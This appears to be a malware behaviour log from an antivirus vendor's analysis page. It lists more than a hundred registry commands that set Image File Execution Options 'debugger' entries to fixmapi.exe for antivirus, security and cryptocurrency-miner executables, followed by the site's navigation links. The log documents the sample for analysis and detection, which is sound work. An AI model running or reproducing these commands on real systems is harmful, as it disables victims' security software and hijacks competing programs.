'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securesurf.browser.client.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webisida.browser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TeaTimer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWSCSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbarw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPK.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpkL64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Project1.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBAMService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WRSA.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTaskinfo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTask.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scriptrap.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTraffic.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTTacP.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xStarter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spools.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchsot.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spooIsv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTimeService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnhelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiapsvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmadavProtect32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vercls.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.SB.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mworker.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicroMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\JavaUpdater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win_Updater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rkfree.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\volumedisk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ITbrain_AntiMalware_Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hostdl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\javal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Photo.scr" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfusclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdisk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemNT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NiceHashMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skying.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Miner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snmptrap.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mark.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winup.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mrolsmc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Search.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wwmeeg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Spred.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MONITOR.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uistub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ToolbarUpdaterService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPA.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPS.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuapl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klvk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdguardSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svnhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdcsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\player.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\swdoctor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdhelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\find.exe' "romadachashin.exe"

Технології

Терміни

Навчання

Міфи

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней